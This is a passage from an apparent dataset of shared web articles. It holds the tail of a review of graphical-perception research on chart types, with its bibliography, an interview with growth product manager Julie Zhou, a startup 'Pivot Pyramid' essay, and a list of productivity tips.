bars were more effective in communicating comparative values than either circles, squares or cubes. Circles and squares were about as effective as the other. Cubes were undoubtedly the worst. More on 3d later. bars and pies for proportions Much is said about the relative merits of bars and circles for showing proportions. All five of these studies legitimize the use of pie charts when conveying proportions and some even show their superiority over bar charts. I did not encounter any studies that said we should not use pie charts for showing proportions in all cases. Eells (7) was among the first to publish a paper on this topic in 1926. In his time, pie charts were ridiculed much as they are today for their assumed perceptual inadequacies. For example, he was told that the human eye cannot judge arcs, angles or chords very efficiently. He also wanted to know more about how circles were processed. So he handed out worksheets to a psychology class and asked them to estimate the proportions in these pie and bar charts. Not only did he find that pie charts were read as easily, quickly and accurately as bar charts, but that as the number of components in the chart increased, bars become less efficient encoding the data. The opposite was true for pie charts He found that 50 percent of people use the outer arc to make proportional judgments, while 25 percent use area, and the other 25 percent use the inner arc or angle. Furthermore, 71 people in the class preferred the pies and only 25 preferred the bars. He concluded that we ought to use pie charts, not just for their appeal but because of their scientific accuracy. He also concluded that men were superior to women in estimating these proportions. So, hats off to men. A follow-up study in response to Eells's work the following year by Croxton (8) did not find that pie charts were so conclusively better than bar charts, but they did pull ahead for some of the cases. Six decades later, and in three more experiments, pie charts were hailed for their strength in conveying proportional data, in some way or another. Simkin and Hastie (9) had participants make proportional judgments and segment-to-segment (comparison) judgments. And found that for segment-to-segment judgments, simple bar charts worked best, followed by divided bar charts and then pie charts. For proportional judgments, pie charts and divided bar charts were tied, with simple bar charts the least effective. Spence and Lewandowsky (10) found that comparisons among multiple segments take longer and have lower accuracy. Pie charts fared the worst except when multiple segments had to be compared. Tables were found to be inferior to everything except for communicating absolute values, despite what Tufte advises. Hollands and Spence (11) found that as the number of components in bar charts increase, their effectiveness at communicating proportions decreases. In fact, for each new component in bar charts, a reader needs an additional 1.7 seconds for processing. bars and lines In two separate experiments in the same study, Zacks and Tversky (12) found that when participants were shown bar graphs and asked to describe the data, they continually referenced contrasts between the variables in the bars (e.g., ""A is greater in X quantity than B""). Whereas with line charts, participants described trends (e.g., ""As X increases, Y increases""). Even when researchers (13) presented participants with a graph showing a third variable of data, the line chart descriptions remained focused on x-y relationships, whereas the bars branched out a bit more to include this new variable. These studies show that people have a hard time seeing messages in line charts beyond trends. bars and pies and lines Hollands and Spence (14) evaluated if the performance of a graph depends on the type of judgment that needs to be done. They felt that line charts were superior to other graphs for showing change because they were ""integrated"" interfaces: viewers are able to perceive change directly from slope. Using pie charts to depict change requires sequencing several charts, and therefore are inferior, ""separated"" interfaces. They tested participants' perception of change and proportion among bar, pie and line charts. Pie charts obviously failed at communicating change efficiently, but they found that bar charts had similar success to line charts, and they wondered why. They hypothesized that it was because people draw imaginary lines between the bars. So they created a new, terrible graph called a tiered bar chart that would break up these imaginary lines, and tested participants again. They found that yes, any chart allowing the reader to see a real or imaginary trend line was the best at communicating change. For proportions, if charts had no scales, pies were the best. line charts Line shape can be loaded with context that fascinates us, but also distorts our perception of data. As we know, the independent variable (the cause) is usually plotted on the x-axis and the dependent variable (the effect) on the y-axis. But we also tend to perceive slope as being a metaphor for quickness, height or amount. These two conventions can be in conflict with each other. Gattis and Holyoak (15) designed an experiment where slope could indicate height, or altitude but that meant that the independent and dependent variables were on the wrong axis. They presented both the right and wrong chart to participants and asked if the dotted line indicated a quicker or slower rate. When altitude was on the y-axis, corresponding with the visual metaphor, participants were more accurate. In other words, we tend to see slope as representative of quickness, height, amount or rate above anything else. They concluded that there are certain pictorial properties of slopes that ""facilitate reasoning above all others."" They also revealed a universal association of ""more"" or ""better"" with the upward direction. Carswell and coauthors (16) found that when line graphs showed trend reversals, people studied them longer. They found that this was not the case when they varied the number of data points, symmetry or linearity. 3d Here are four studies that suggest we evaluate 3d objects more accurately than we commonly think. Two of these studies individually reject Tufte's popular ""high data-to-ink ratio"" philosophy. Siegrist (17) finds that among bar charts, 2d is not superior to 3d, but 3d charts take slightly longer to process. With pies, 2d is better, and the perspective angle makes a big difference in how accurately the slices are evaluated, most likely because some of the slices are more obscured than others. Levy and coauthors (18) acknowledge that 3d graphics, while ""glitzy"" and ""sexy,"" do not convey any additional information and force the reader to ""deal with redundant and extraneous cues."" Participants were given the option to select among 2d and 3d charts. When they were told to select a chart to present to other people, they tended to choose 3d charts. They also selected 3d charts when they were told the data had to be remembered. They selected 2d bar graphs more when they were told they needed to convey specific details, and selected line charts when the message had to be communicated quickly. The authors conclude that 3d charts can be useful in some cases The final two experiments by Spence (19, 20) deal with Steven's law, which again (very simplistically) says that an object's size appears larger when presented with larger objects, or smaller when presented with smaller objects. Spence found that contrary to popular physics, this distortion does not happen when comparing two shapes of the same dimensionality. Only when you vary the dimensionality among shapes does this distortion occur. scatterplots Cleveland and coauthors (21) found people come to conclusions about the correlation in scatterplots partly based on the size of the point cloud. When the same correlation is represented in two graphs, but in one graph the scale is blown out so the point cloud becomes very small, people perceive it as having a higher correlation. Experimenting with symbol type in scatterplots, Lewandowsky and Spence (22) find that altering color is most discernible to the eye. When varying color is not an option, varying fill or shape (or even non-confusable lettering) has ""no great loss in accuracy."" He suggests that using letters has one clear advantage: providing a semi-label for the data (M for males; F for females). I personally think this can be achieved with annotation without the risk of confusing the location of the symbol's centroid. In a crowd-sourced experiment, Demiralp and coauthors (23) reordered the native Tableau color and symbol palette so that it'd be ordered by the shapes and colors most discernible to the eye. treemaps Ziemkiewicz and Kosara (24) found that directing participants to navigate treemaps with metaphors to complete certain tasks made them more accurate. For example, directing participants to find a data point ""inside"" a container-like treemap and telling them to look ""below"" in a cascading treemap worked best. Kong, Heer and Argawala (25) found that people discern values in treemaps best when the components are rectangles with diverse aspect ratios. Somewhat counterintuitively, squares are not easy to compared to each other. Extreme ratios in rectangles are also ineffective for comparisons. They additionally found that, surprisingly to them, small multiples of bar charts were better than treemaps at representing datasets with fewer than about 1,000 data points for leaf-to-leaf comparisons. other visualizations In 2001, Barlow and Neville (26) asked participants to compare four different hierarchal plots. They found that participants did not like the treemap, and preferred the icicle plot and org chart. In 2007, Cawthon and Moere (27) showed that aesthetics can be linked to an individual's engagement with a particular visualization. They found that the sunburst vis was the most popular, and participants found the 3d-looking beam tree to be the most hideous. Engagement was best with the sunburst, icicle and startree. Performance was worst with beamtree and treemap. They concluded that sunburst exemplifies that ""beautiful can be useable."" Harrison and coauthors (28) ranked the effectiveness of several visualization types for depicting correlation. They found that scatterplots and parallel coordinates were best at this. Among the stacked chart variants, the stacked bar significantly outperformed both the stacked area and stacked line. A year later, Kay and Heer (29) reevaluated the data and split the visualizations into four groups by level of precision. The top ranking remained the same, however. data density Heer, Hong and Argrawala (30) explored how dense graphics can be, and still be effective at conveying values. They mirrored the negative values in time series charts and overlayed the extreme values into 2, 3 and 4 color bands, effectively reducing the chart size by 75 percent. They also manipulated the height of the chart so that some appeared only 6px high. They found that the more color bands present in the graphs, the more people made mistakes, suggesting that sometimes not all visual markers are helpful to viewers. Regular line charts performed the worst at small sizes, showing that the mirroring effect isn't a detriment to comprehension. pictographs and drawings Haroz, Kosara and Franconeri (31) experimented with using pictographs instead of generic shapes to represent data in simple charts. They found that using discrete shapes, whether they were generic circles or pictographs, helped people remember the data better than a single bar. Using pictographs as replacement for text on the axis led to more errors. They found that replacing generic shapes for pictographs was not a detriment to perceiving or remembering the data presented in stacked graphs. People were also more inclined to investigate visualizations that used pictographs rather than ones with generic shapes. In one of my favorite studies, Cole and coauthors (32) investigated if participants could understand computer renderings of line drawings as well as a human artist. They found that many algorithms available today are indeed comparable to human renderings, but some do not come close. The models that participants had the hardest time with were typically ""smooth, blobby shapes."" Even when viewers interpreted the shapes inaccurately, however, their interpretations were similar to each other, and were concentrated in hotspots on the shapes. audiences Ziemkiewicz and coauthors (33) evaluated how personality traits affect performance with list-style visualizations and container-style visualizations. Those with a high internal LOC (those who believe than can control external events) weren't as good with the container-like visualization. Those who had high external LOC (believe that they are merely controlled by external events) performed faster and more accurately overall. Similarly, more neurotic participants were best with the more structured (container-like) visualization, while other participants displayed the opposite trend. Introverts were more accurate overall than extroverts. Lee and coauthors (34) observed ""novice users"" when they encountered unfamiliar visualizations and tried to make sense of them. Participants had difficulties in moving away from their initial frameworks, even if they were incorrect. Thus, first impressions are quite important. Harrison and coauthors (35) provided participants with a New York Times article aimed at affecting their emotion, either positively or negatively, and tested how well they performed at simple perceptual tasks. They found that negatively primed participants made more errors, and positive priming tended to improve performance. Only 1 in 5 were successfully primed, however, proving it is difficult to achieve. Hullman, Adar and Shah (36) replicated Heer and Bostock's earlier study with Mechanical Turk, but with one major change. They showed a social histogram of the last 50 responses as the participant answered questions. For some participants, the histogram was skewed upwards or downwards from the real values. Those shown the incorrect histogram got more questions wrong. interactive elements Liu and Heer (37) found that a latency of a half a second with interactive graphics has profound effects on the way a viewer engages with the graphic. They moved the mouse less, shifted the types of interactions they did and lessened some of their interactions altogether. They were also more likely to comment verbally on the interface. This delay also affected subsequent sessions for that particular participant; he or she was less likely to engage in a graphic during a session that followed. Originally the researchers wanted to also include a 1-second delay option but in pilot studies, users found this unusable. In 2007, Wigdor (38) and coauthors found that completing elementary perceptual tasks like detecting position or angle direction was a lot harder if a screen was flat on a table. Therefore, the orientation of the screen can distort the perception of a graph. In 2008, Robertson and coauthors (39) gave participants a large dataset presented three different ways: in an animated fashion, in a static but traced version and a small multiples version - and asked them questions about the data. Even though the animation version won time and time again in a preferences survey for helpfulness, ease of use, enjoyment, excitement, researchers said that the small multiples version was more effective for larger datasets, was faster and led to fewer errors. colors Finally, in another one of my favorite studies, Lin and coauthors (40) created an algorithm to identify ""semantically resonant colors."" For example, if I want to talk about oceans, I use the color blue. If I want to talk about love, I use pink or red. The algorithm searched Google Images and assigned a particular color to a keyword. They crowd sourced how well this algorithm did with Mechanical Turk participants. Some of it turned out a little funny. In a later experiment in the same study, the Tableau symbol artist design a semantically resonant color scheme, and researchers tested their algorithm against that and a non-semantic color scheme. They bet against their own algorithm, hypothesizing that the human-picked palette would be the most effective. But it turned out that it did just as well as the human-generated palette with a subset of the data. conclusions What can we conclude from these studies? What is still left to be uncovered? How do these findings change as visualization becomes more commonplace and people become more visually literate? More importantly, what do you think about Colin Ware's question about data visualization being a science or a language? I don't think data visualization or data storytelling is prescriptive; I think there are many options and an infinite number of possible visualizations, many we haven't even discovered yet. But perhaps it's not purely a language either. Obviously there are biases and distortions we bring with us when viewing graphing frameworks and objects, some of which is learned, but some of which seems inherent. I don't want to imply that the findings in these studies should be applied wholly and indiscriminately to graphics. Most of these studies test the accuracy of very specific tasks, mostly dealing with an individual's ability to perceive differences in size of certain shapes and elements. That is often not the primary goal of a graphic. The findings about treemaps illustrate this notion: participants were more accurate with small multiples of bar charts than treemaps for leaf-to-leaf comparisons. That is helpful to consider, but it is quite possible that representing the entire ecosystem of data is more important. There is so much left to study in the realm of human perception of graphics, especially with dynamic and interactive graphics. We all benefit when practitioners share their experiential knowledge openly and widely, which can help give us insight into the large gaps of space where current studies do not cover. bibliography I'm not able to format the bibliography as I had in my slides, but the following studies reference the Cleveland and McGill study and therefore should get the pink William Cleveland head: 1, 2, 4, 5, 9, 10, 13, 14, 17, 18, 19, 21, 22, 23, 24, 27, 33, 34, 37, 38 and 39. Graphical Perception: Theory, Experimentation, and the Application to the Development of Graphical Methods. William Cleveland, Robert McGill, 1984. Crowdsourcing Graphical Perception: Using Mechanical Turk to Assess Visualization Design. Jeffrey Heer and Michael Bostock, 2010. Serial processing and the parallel-lines illusion: Length contrast through relative spatial separation of contours. Kevin Jordan and Diane Schiano, 1986. Perceptual and conceptual factors in distortion in memory for graphs and maps. Barbara Tversky and Diane Schiano, 1989. Structure and strategy in encoding simplified graphs. Diane Schiano and Barbara Tversky, 1992. Graphic comparisons by bars, squares, circles and cubes. Frederick Croxton, 1932. The relative merits of circles and bars for representing component parts. Walter Crosby Eells, 1926. Bar charts versus circle diagrams. Frederick Croxton and Roy Stryker, 1927. An Information-Processing Analysis of Graph Perception. David Simkin and Reid Hastie, 1987. Displaying proportions and percentages. Ian Spence and Stephan Lewandowsky, 1991. Judging Proportion in Graphs: The Summation Model. J.G. Hollands and Ian Spence, 1998. Bars and Lines: A Study of Graphic Communication. Jeff Zacks and Barbara Tversky, 1997. Bar and Line Graph Comprehension: An Interaction of Top-Down and Bottom-Up Processes. Priti Shah and Eric Freedman, 2009. Judgments of Change and Proportion in Graphical Perception. J.G. Hollands and Ian Spence, 1992. Mapping conceptual to spatial relations in visual reasoning. Merideth Gattis and Keith Holyoak, 1996. Stimulus complexity and information integration in the spontaneous interpretation of line graphs. C. Melody Carswell, Cathy Emery and Andrea Lonon, 1993. The use or misuse of three-dimensional graphs to represent lower-dimensional data. Michael Siegrist, 1996. Gratuitous graphics: Putting preferences in perspective. Ellen Levy, Jeff Zacks, Barbara Tversky and Diane Schiano, 1996. Visual Psychophysics of Simple Graphical Elements. Ian Spence, 1990. The apparent and effective dimensionality of representations of objects. Ian Spence, 2004. Variables on scatterplots look more highly correlated when the scales are increased. William Cleveland, Persi Diaconis and Robert McGill, 1982. Discriminating Strata in Scatterplots. Stephan Lewandowsky and Ian Spence, 1989. Learning Perceptual Kernels for Visualization Design. Cagatay Demiralp, Michael Bernstein and Jeffrey Heer, 2014. The Shaping of Information by Visual Metaphors. Caroline Ziemkiewicz and Robert Kosara, 2008. Perceptual Guidelines for Creating Rectangular Treemaps. Nicholas Kong, Jeffrey Heer, and Maneesh Agrawala, 2010. A Comparison of 2-D Visualizations of Hierarchies. Todd Barlow and Padraic Neville, 2001. The effect of aesthetic on the usability of data visualization. Nick Cawthon and Andrew Vande Moere, 2007. Ranking Visualizations of Correlation Using Weber's Law. Lane Harrison, Fumeng Yang, Steven Franconeri and Remco Chang, 2014. Beyond Weber's Law: A Second Look at Ranking Visualizations of Correlation. Matthew Kay and Jeffrey Heer, 2015. Sizing the Horizon: The Effects of Chart Size and Layering on the Graphical Perception of Time Series Visualizations. Jeffrey Heer, Nicholas Kong and Maneesh Agrawala, 2009. ISOTYPE Visualization - Working Memory, Performance, and Engagement with Pictographs. Steve Haroz, Robert Kosara and Steven Franconeri, 2015. How well do line drawings depict shape? Forrester Cole et. all, 2009. How Visualization Layout Relates to Locus of Control and Other Personality Factors. Caroline Ziemkiewicz et. all, 2012. How do People Make Sense of Unfamiliar Visualizations?: A Grounded Model of Novice's Information Visualization Sensemaking. Sukwon Lee et. all, 2015. Influencing Visual Judgment through Affective Priming. Lane Harrison et. all, 2013. The Impact of Social Information on Visual Judgments. Jessica Hullman, Eytan Adar and Priti Shah, 2011. The Effects of Interactive Latency on Exploratory Visual Analysis. Zhicheng Liu and Jeffrey Heer, 2014. Perception of Elementary Graphical Elements in Tabletop and Multi-Surface Environments. Daniel Wigdor et. all, 2007. Effectiveness of Animation in Trend Visualization. George Robertson et. all, 2008. Selecting Semantically-Resonant Colors for Data Visualization. Sharon Lin et. all, 2013.",en
1464627597,CONTENT SHARED,8969476626572775042,-108842214936804958,-6590395637096977087,,,,HTML,https://amplitude.com/blog/2016/05/26/growth-hacker-julie-zhou/,What it Means to Be a 'Growth Hacker' According to Julie Zhou,"The Amplitude Datamonster of the Month series is our way of spotlighting product and growth experts who have made data a central part of their success. Through their stories, we hope to empower other industry professionals with proven analytics strategies and advice for leveraging analytics across their organizations. We select our Datamonsters based on the impact they have at their respective companies. This ranges from how these individuals enable their entire organization to be data-informed to how they leverage analytics to make meaningful product and marketing decisions. Our Datamonster stories will be shared on our blog at the start of the month, and we'll chat with each Datamonster during a live webinar called "" This month I sat down with our May Datamonster Julie Zhou, Lead Product Manager of Growth at social media app Yik Yak Datamonster Dialogues Growth hacking from Google to Yik Yak The first time I really understood what 'growth' was and why it mattered was when I heard speaking at Growth Clinic , just one week after I had started at Amplitude. Since then, I've heard her speak at several different panels, and one thing stuck with me. Few people describe and embody growth hacking as well as Julie Zhou. "" Growth, at the end of the day, is what marketing always should have been-a completely integrated strategy for company growth that combines the best of marketing, product, design, engineering, and analytics ,"" she said at one point during our conversation. When I asked Julie how she started her career in growth, she didn't hesitate. ""I've done growth my whole career, but only realized there was a special name for it recently,"" she said. In fact, Julie approached growth from two complementary directions, from both a marketing and a product standpoint. Learning the 'science of marketing' at Google Julie graduated from Harvard with a degree in Economics. From there, she said, ""Marketing was a natural fit for me."" She started out doing both B2B and B2C product marketing at Google, working on everything from Google Adwords, Google Maps, and Android OS. It was at Google where Julie experienced first-hand the importance of being data-driven in all aspects of her job. ""At an engineering-driven company like Google, marketing was the odd one out,"" explained Julie. Google had been growing well on its own, organically reaching people about its product, without really any explicit outward-facing marketing. There was confusion around what the role of marketing was at a company like Google. "" It quickly became apparent at such an engineering-, logic-, and data-driven company like Google, marketing had to follow suit,"" said Julie. ""Everything you wanted to do needed to be backed up with data and all the results needed to be measured with data. From the beginning, there was always a science to marketing."" Growth hacking at Hipmunk Julie then took her data-driven marketing mindset to Hipmunk, a consumer-oriented online travel startup, at which she was employee number 10. Hipmunk was a huge change from Google. Julie admitted that she had never really been in a situation where the resources she had to work with were so limited. ""At the time I joined Hipmunk, we didn't have anywhere close to the budget of our competitors,"" Julie explained. ""Traditional wisdom dictated that, you could only grow a travel company by spending your way to success-by owning Google AdWords, TV advertising, all of that. We didn't have those resources."" It became clear that in Hipmunk's earliest days, paid advertising wasn't the ideal growth channel to double down on-but that didn't discourage her. ""I started thinking, 'Well, let's approach this from a logical mindset. We can't pay our way to the top with cash, so we need to find out what currency we do have. We need to find out what our competitive advantages are.'"" Hipmunk may not have had the deep pockets of Google, but that was fine. They were a small and sexy company, and had all the energy and nimbleness that came with being an early-stage startup. Julie devised a plan to pitch to the big wigs-Google, Apple, Facebook, Amazon- and secure promotions with them, telling them and showing them, with Hipmunk's product roadmap, that they were the best travel app out there. With that, she was able to secure consistent promotions According to Julie, they grew, through the sheer power of their personality. ""I didn't realize that what I was doing was called 'growth hacking,' but I guess that's what it was,"" she added. "" It's basically looking at what your resources are and figuring out what you can do uniquely over anyone else. "" Product Management at Yik Yak At Hipmunk, Julie's job was growth through the lens of marketing; it was all about spreading brand awareness and acquiring more users. After she joined the team at Yik Yak, however, Julie started looking at growth through another lens: product. ""Growing Yik Yak was more about, 'Okay, everyone has heard about us, how can we continue to get them to become more engaged with the product?'"" says Julie. Yik Yak already had brand recognition and power users. Taking the company to the next level meant understanding their users and growing the product into something they'll come back to over and over again. Different flavors of product managers Just as you can look at growth from the lens of marketing and product, you can look at product management itself from multiple lenses. Julie grew into her role organically, transitioning from product marketing, to growth marketing, to product. For people looking into career in growth and product management, Julie says to consider the different flavors of it. ""Some product managers need to be extremely technical. Others need to be less so,"" she says. ""I won't say that you have to go and learn a programming language and be able to build your own apps in order to be a product manager. That's just not true."" In terms of the ""technical vs. non-technical product manager"" debate, it really depends on the product itself. When the company is the function of its product, like Google, there's a considerable engineering challenge involved in growing the company as a whole, growing to be the best search engine in the world. For a technically sophisticated product, it would critical to have a technical product manager. ""For companies like Yik Yak, the power of the company comes from the people who use it, the network you're able to build from it. It's about the operations used to perfect and optimize and get as many people on the platform as possible,"" said Julie. Julie was driven to product management by her fascination with software and mobile apps, but when she started out, she herself didn't have any experience in programming, aside from an online course in C. It's more important for her to have a solid understanding of the product is built, to be able to have intelligent conversations with the engineers she works with, rather than acquire the skills to build the product herself. ""Regardless of what type of product manager you want to be, you have to have empathy for your users - and that includes your engineers, marketers, leaders as well as your actual end users."" Progress When I asked Julie to describe her job at Yik Yak in one word, her answer was 'progress.' describes the day-to-day responsibilities of growth folks pretty accurately. Every single day, they ask themselves if they're better off than the day before, if they've improved certain metrics or KPIs. Even failure, according to Julie, is progress, when you can learn from it. "" The only true failure,"" says Julie, ""is if after you've made a mistake, you have no idea why and you haven't learned anything from it."" In her role as a product manager of growth, Julie continues to have a data-driven approach to everything she does. This means constantly monitoring KPIs, running experiments, figuring out what's working and what's not, and driving toward Yik Yak's core metrics , using analytics. Using Amplitude to make progress at Yik Yak Yik Yak uses Amplitude to get a handle on its . Specifically, says Julie, ""We use Amplitude to understand how people are using the features that we've launched. We try to see if there are certain behaviors that our most engaged users do that, if we could drive our more casual users to also do, would then move them into higher brackets of engagement."" Yik Yak pays particular attention to what users do within the first week of downloading the app. They've found that the way users behave days after they download the app, tends to be very predictive of the ""type"" of user they turn out to be later. That's why so much of their effort is dedicated toward building a flawless first-week experience that encourages certain types of behavior in order to increase the chances of users being retained long-term. ""I've used pretty much every single analytics platform out there, from third-party to internal,"" Julie said, when I asked her about choosing Amplitude for her analytics needs. ""The sheer flexibility that Amplitude gives, I don't think is matched by any other platform-From the fact that you can directly query the database with SQL to the fact that you can create a cohort from literally everything, to the fact that you can look at a graph, click on a point and be like, 'Who are the users that did this? Tell me more about them,' and draw conclusions about what happened."" Yik Yak cares much more about long-term engagement and whether they can get that level of engagement to increase over time versus vanity metrics like downloads; and that's what Amplitude helps them investigate. Julie Zhou, Product Manager and Growthmaster Throughout our conversation, I could tell that 'growth hacking' was a term that Julie and other growth experts like Instacart's Fareed Mosavat were skeptical of. Join Julie Zhou, Lead Product Manager of Growth, on June 24 at 10:30 AM PDT for a chance to ask questions on growth, retention, and product. The Datamonster Dialogues are a Q&A session focused on educating the audience on how Yik Yak uses data to fuel their growth. ""It's great that more attention and excitement is being built around this field, but kind of sad that at the same time there's been a lot of misinformation about how this is a brand new discipline or that there's one weird trick or a silver bullet that will get you to hyper-growth,"" Julie said early on in our conversation. The fact of the matter is that the growth Julie achieved from her experience at both Hipmunk and Yik Yak was born out of hard work, creative thinking, and a data-driven mindset. That's probably why you'll see Julie refer to herself more often as a 'growthmaster'-as was her title at Hipmunk- over 'growth hacker' any day.",en
1464627753,CONTENT SHARED,6525794335263078309,-108842214936804958,-6590395637096977087,,,,HTML,http://500.co/startup-pivot-pyramid/,The Startup Pivot Pyramid - How to Pivot Your Startup the Right Away Using Growth Marketing Mindset,"In 2011 we raised $2M from some of the top investors in Silicon Valley. Our startup, SocialWire (later renamed Manifest), helped online retailers instantly personalize the shopping experience when their customers signed in with Facebook. However - we soon learned that it was hard to convince the big retailers to add our product recommendations to their websites which they've been optimizing for years. We also found that not enough customers wanted to sign in with Facebook while they were shopping online to get a more personalized experience. With most of our $2M still in the bank, and a technology that was good at matching Facebook users to the right products, we decided to pivot on the problem we were solving for the same customer and rebuild our product. Instead of generating product recommendations using Facebook - we would dynamically generate personalized product ads on Facebook. This new direction resonated with online retailers and the company was eventually acquired by Rakuten. Searching for Product Market Fit Finding product market fit is hard. Most companies fail while searching for it. Marc Andreessen, in his 2011 essay , introduced the term as a moment in your startup's journey where things start to work. More and more customers demand your product and you achieve sustainable growth. Most successful companies go through several pivots to find product market fit. What makes it work is usually not one major pivot, but a series of experiments across customers, problem, product, technology and growth channels. Is there a process for entrepreneurs to experiment across these areas of their business in an efficient way? Growth marketers already figured this out. Great growth people are not necessarily the most knowledgeable marketers - they approach marketing like scientists. They have a thesis on how their idea (e.g. new advertising channel) will lead to growth, they run the experiment, look at the data and if the experiment is successful - they make it repeatable. I strongly suggest you read this by Brian Balfour , check out this talk and spend time on growthhackers.com to understand the growth experimentation process. But growth experimentation is the tip of the iceberg - that is your startup. How can entrepreneurs apply this process of experimentation to other areas of their business, and pivot to find product market fit? Introducing the Pivot Pyramid Enter the Pivot Pyramid. It is a visual guideline to help founders make changes and run experiments in different areas of their business to drive growth. As investors, this is similar to how we ask questions and evaluate your startup. As founders, you could use the same guideline to come up with ideas or pivot your startup. Customers Customers are the foundation of your startup. The problem you solve, the product you build, and the technology it's built with - all depends on who your customer is. You may change and pivot your customer, but when you do, you will need to re-evaluate everything above in the pyramid. Problem Maybe you have identified the right customer, but you are solving a problem that doesn't exist or doesn't matter that much. You can pivot here, but you'll need to re-evaluate and change your solution, tech, and growth strategy. If you have the customer and problem right - you have a market. Solution You've identified the problems that matter to your customers. Now you have to build a product that resonates with your customers better than existing solutions in the market. Like any other changes in the pivot pyramid, changes you make in product must target quantifiable growth. Tech Your technology is just a means to build your solution. Even if your product resonates well with your customers - your technology choices may be hindering your growth and retention. For instance, one of the main reasons Friendster failed as the first mainstream social network was because they couldn't keep their servers up with demand. Growth All changes in the pivot pyramid must lead to growth. But some experiments do not require any significant change in your product or technology. These changes reside at the top of the pivot pyramid. A great marketer should frequently experiment with new growth tactics. This is needed because most growth channels get saturated or become too expensive over time. Famous Examples of Pivots for Each Stage Key Takeaways from the Startup Pivot Pyramid Frequency of Experiments Changes you make at the bottom of the pyramid won't be frequent. For instance, you can't change who your customer is the problem you are solving often. The pace of experimentation increases at the top of the pyramid. This is especially the case as your startup matures and you find product market fit. Start with the customer and problem A common mistake entrepreneurs make is that they start with their product and technology without truly understanding who their customer is. If this is broken - nothing else works. That's why you shouldn't focus too much on marketing before you nail the customer, problem and solution. First, you have make something people want . You don't want to put jet fuel in a car with a broken engine. Fix the engine first. Pivoting below, changes everything above The changes you make at the bottom of the pivot pyramid, will impact your decisions above. But the changes you make at the top, don't necessarily require you to change things below. For example - if you pivot on your problem, you will need to change or re-evaluate your product, technology and marketing channels. On the other hand, if you changed your technology stack, your customers may not notice any changes in your product. Similarly, experimenting with a new marketing channel may not require any changes in product or technology. You can't have multiple types of customers A common mistake that kills early stage startups is focusing different types of customers at once. The changes you make at the bottom of the pivot pyramid will impact the decisions you make above like product, technology and marketing. So if you focus on more than one type of customer, you are literally building multiple startups at once. As you mature as a company and achieve product market fit - it is to have more than type of customer (e.g. SMB and Enterprise). As an early stage startup, you can't afford to do that. Marketplaces (e.g. Uber, Airbnb) are an exception to this. Marketplaces have two types of customers from day one: Sellers and Buyers. But that's why building marketplaces is really hard. All experiments must lead to GROWTH One of the most important things founders can learn from growth marketers - is the scientific process for experimentation. That is also the foundation of the pivot pyramid. If you have an idea for a pivot like ""testing a new marketing channel"" or ""implementing a referral program"" (GROWTH) or ""migrating your servers to AWS"" (TECHNOLOGY), make sure it is closely tied to a measurable goal to help with growth. Have a thesis, run a low cost experiment, measure the results, and if it works - implement change. So, what is your Pivot Pyramid? Tell us about your pivot stories and how they made an impact in your business.In the mean time, be sure to follow us if you want to hear about real examples of successful pivots from companies in the 500 Startups portfolio. Here's the full Pivot Pyramid deck on SlideShare: * Special thanks to Dominic Coryell, Mathew Johnson, Andrea Barrica, Susan Su, Yonas Beshawred, Sahin Boydas, and Carl Fritjofsson for reading drafts of this, providing feedback and suggesting edits.",en
1464631078,CONTENT SHARED,5270696484536580646,3609194402293569455,3334185486919070217,,,,HTML,http://www.inc.com/brian-de-haaff/8-insanely-simple-productivity-hacks-.html,8 Insanely Simple Productivity Hacks,"You earnestly set goals and try to meet them each day . But something always seems to get in the way and upset your progress. I know because it happens to me too. It could be your colleague's weekend recap that throws off your Monday morning, or the distraction of calls and texts throughout the day. When your best-laid plans face off with the reality of your workday, reality often wins. That disconnect between your goals and your productivity is likely cause for major frustration. You're not alone -- studies show many people are overworked and underperforming. A 2015 survey of 2,000 workers conducted by Staples Business Advantage revealed that 37 percent of employees believe more workplace flexibility would help them be productive. And about 50 percent point to email as the main culprit for reduced productivity. While there are no shortcuts to hard work, there are practical ways to get more done in the time you have. But first, you must take back control of your workday and start setting yourself up for success. These eight hacks can help you accomplish more meaningful work in half the time: 1. Rise and shine. You are most productive in the first two hours after you get up, so plan your most challenging and meaningful work for that time of day. Arrive before the rest of the team and dive into your work -- you will be ready to take a quick coffee break and catch up with everyone once they arrive. 2. Make mini-goals. Far-reaching goals are admirable, but they can seem so distant they appear unreachable. Help yourself realize goals by breaking them down into smaller, manageable mini-goals. These smaller ""wins"" will help you make progress and boost your confidence. 3. Stop multitasking. Multitasking is not only ineffective, but it reduces the quality of your work, causes more stress, and can even reduce your IQ. Stop trying to do everything at once. Prioritize essential work, and schedule time each day to deal with non-urgent matters like answering routine emails. 4. Tell others. Clearly communicate to your co-workers when you are heads-down on a task and need to work undisturbed. Block time in your calendar, put up a do-not-disturb sign, or otherwise set your status to ""busy"" to avoid social interruptions. 5. Seek quiet. An open floor plan is a noisy work environment, making it challenging for anyone to perform even simple tasks. Purchase noise-canceling headphones, find a quiet corner or an empty boardroom, or work remotely . Remember: The ding of an incoming text message is enough to disrupt your focus. Silence your phone during critical work, and put it out of sight. 6. Schedule breaks. If you work nonstop, your work will suffer and so will you. The ideal work-to-break ratio? One study says 52-minute work sprints followed by 17-minute breaks. Make your break-time meaningful -- stretch or go for a walk outside if you can. The important thing is to take time away from your screen and think about something else. 7. Measure progress. At the end of the workday, step back and take stock. What did you accomplish, and how do these accomplishments line up with your goals? What were your low points? What got in your way, and what can you do better tomorrow? By measuring your progress, you can spot patterns and opportunities to revamp how you work. 8. Prep for tomorrow. Devote the last 15 minutes of your day (no matter when that is) to creating a to-do list for the next day. That way, you can jump right into the work the next morning. This is especially important before you are going to take a bit of time off, like over the weekend -- and you will be happy to discover your list on Monday morning. It takes discipline and hard work to unlearn bad habits, reestablish boundaries, and regain control over your productivity. But the effort will be worth it. You will be proud of how much more you can accomplish daily, as well as the meaningful progress you will make toward those long-range goals . So when the next day rolls around and you're faced with a chatty co-worker or a buzzing phone, you now have a plan to silence them both -- and get more done.",en
